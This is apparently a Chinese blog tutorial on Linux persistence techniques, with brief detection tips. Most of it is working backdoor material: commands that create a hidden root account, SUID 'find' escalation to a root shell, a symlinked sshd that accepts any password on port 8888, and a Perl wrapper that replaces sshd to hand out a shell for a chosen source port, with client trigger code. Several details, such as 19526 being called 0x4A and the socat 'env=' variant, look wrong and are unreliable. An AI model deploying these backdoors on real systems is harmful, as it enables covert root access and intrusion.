本文对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。
一、一句话添加用户和密码
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
代码解释如下:
useradd:创建新用户的命令
-p:指定用户密码(加密后的)
反引号`:执行其中的命令并将结果作为参数
openssl passwd -1 -salt 'salt' 123456:使用openssl生成MD5加密的密码
-1:使用MD5加密算法
-salt 'salt':指定盐值为'salt'
123456:要加密的明文密码
guest:要创建的用户名
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
与第一种方法类似,但:
使用$()替代反引号来执行命令(这是更现代的写法)
没有指定salt,openssl会自动生成随机salt
密码仍然是123456
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
useradd guest:先创建guest用户
;:分隔两个命令
echo 'guest:123456':输出"用户名:密码"格式的字符串
| chpasswd:将前面的输出通过管道传给chpasswd命令来设置密码
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
useradd test:先创建test用户
echo -e "123456\n123456\n":使用-e参数解释转义字符,输出两行123456和一个空行(模拟两次输入密码)
| passwd test:将前面的输出通过管道传给passwd命令,自动输入两次密码
添加root用户:
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
二、SUID Shell
概念
SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
若是对一些特殊命令(可执行命令文件)设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。
当可执行文件设置了 SUID 权限时:
用户执行该文件时,会临时获得文件所有者的权限(通常是 root 或其他高权限用户)。
即使普通用户执行该文件,也能以文件所有者的身份运行,从而完成一些需要高权限的操作。
当s出现在文件所有者的x权限时,被称为 “set uid” 简称SUID,SUID 对一个文件的限制与功能包括有:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效
设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
提权利用
收集具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
代码解释如下:
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
如下命令均具有s权限

find提权利用
利用 find 执行 /bin/bash 获取 root shell
find / -exec /bin/bash -p \; -quit
-exec /bin/bash -p:以 root 权限执行 /bin/bash(-p 保留特权模式)。
-quit:找到第一个匹配项后立即退出(加快执行)。
效果:你会获得一个 root shell,可以执行任意命令。
3、ssh公私钥免密登录**
(普通用户和root都可以写入自己的秘钥)
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端:
ssh-keygen -t rsa
过程中按三次回车,执行结束如下图:

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。(这里我的这台机器没有authorized_keys文件,是自己创建的会出现权限问题)

authorized_keys 权限不对
chmod 600 ~/.ssh/authorized_keys # 必须为 600
chmod 700 ~/.ssh # 目录必须为 700
最大权限777
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
三、软连接**
漏洞原理分析
关键点
1.PAM 认证流程
- PAM 通过 /etc/pam.d/服务名(如 /etc/pam.d/su)加载认证规则。
- 如果配置中包含 auth sufficient pam_rootok.so,则 当前用户为 root时直接通过认证(不验证密码)。
2.软链接劫持
- 将 /tmp/su 软链接到 /usr/sbin/sshd,使得 SSH 启动时 误加载 /etc/pam.d/su(而非 /etc/pam.d/sshd)。
- 由于 su 的 PAM 配置通常包含 pam_rootok.so,SSH 进程以 root 身份运行时直接绕过密码验证。
3.任意密码登录
- 客户端连接 SSH 服务(端口 8888)时,服务端实际执行的是 su 的 PAM 规则。
- 由于 pam_rootok.so 对 root 用户返回成功,输入任意密码均可登录。
在目标服务器上执行一句话后门:
ln -sf /usr/sbin/sshd /tmp/su; # 创建恶意软链接
/tmp/su -oPort=8888 # 启动 SSH 服务并加载 /etc/pam.d/su
执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

客户端验证
ssh root@目标IP -p 8888
Password: <任意输入均可登录>
四、SSH wrapper**
SSH wrapper 后门 是一种通过替换系统 sshd 并利用 getpeername 检测客户端源端口来触发反弹 shell 的技术。以下是详细分析及改进方案:
1. 技术原理分析
攻击流程
1. 替换原始 sshd
• 将 /usr/sbin/sshd 重命名为 /usr/bin/sshd(备份原始文件)。
• 在 /usr/sbin/sshd 位置创建一个 Perl 脚本,作为恶意包装器(wrapper)。
2. Perl 脚本逻辑
• 首次执行:
系统启动 /usr/sbin/sshd(实际上是 Perl 脚本),getpeername 检查失败(此时尚未建立 TCP 连接),转而执行原始 /usr/bin/sshd。
• 子进程处理:
当客户端连接后,原始 sshd fork 的子进程会再次调用 /usr/sbin/sshd(Perl 脚本),此时 getpeername 可获取客户端端口:
◦ 如果端口匹配 19526(十六进制 0x4A),则执行 /bin/sh 反弹 shell。
◦ 否则正常启动 SSH 服务。
3. 客户端触发
使用 socat 或自定义 TCP 连接,指定源端口为 19526,即可获得 shell。
2. 服务端部署步骤
(1)备份原始 sshd
mv /usr/sbin/sshd /usr/bin/sshd # 将原始 sshd 移至 /usr/bin/
(2)创建恶意 Perl wrapper
cat > /usr/sbin/sshd <<EOF
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV;
EOF
chmod +x /usr/sbin/sshd
(3)重启 SSH 服务
/etc/init.d/sshd restart
或 systemctl restart sshd
3. 客户端连接方式
方法 1:使用 socat 指定源端口
socat STDIO TCP4:目标IP:22,sourceport=19526
• 关键点:强制客户端源端口为 19526(对应 0x4A),触发 Perl 脚本中的条件。
方法 2:Python 生成自定义端口流量
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 19526)) # 绑定源端口
s.connect(("目标IP", 22))
s.send(b"SSH-2.0-OpenSSH_8.2p1\r\n") # 模拟 SSH 握手
print(s.recv(1024))
s.close()
4. 检测与防御
检测方法
1. 检查 sshd 文件哈希
sha1sum /usr/sbin/sshd # 对比官方 OpenSSH 哈希值
2. 查找异常进程
ps aux | grep sshd | grep -v "sshd:"
3. 监控网络连接
netstat -antp | grep ":22"
防御措施
1. 文件完整性监控
chattr +i /usr/sbin/sshd # 禁止修改
2. 使用 AppArmor/SELinux
aa-enforce /etc/apparmor.d/usr.sbin.sshd # Debian/Ubuntu
3. 限制 SSH 端口绑定
在 /etc/ssh/sshd_config 中添加:
ListenAddress 特定IP
5. 技术变种与改进
变种 1:环境变量触发
exec "/bin/sh" if($ENV{'PORT'} == 19526);
客户端通过 socat 设置环境变量:
socat STDIO TCP4:目标IP:22,sourceport=19526,setsockopt=1:SO_REUSEADDR=1,env=PORT=19526
变种 2:隐蔽端口编码
exec "/bin/sh" if(getpeername(STDIN) =~ /^\x00\x00LF/); # 19526 的二进制编码
6. 总结
关键点 说明
攻击本质 替换 sshd,利用 getpeername 检测客户端端口触发 shell。
触发条件 客户端源端口必须为 19526(或自定义值)。
隐蔽性 正常 SSH 连接不受影响,仅特定端口触发后门。
防御建议 监控 sshd 文件完整性,限制敏感目录写入权限,启用 SELinux/AppArmor。
排查技巧:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。
304

被折叠的 条评论
为什么被折叠?



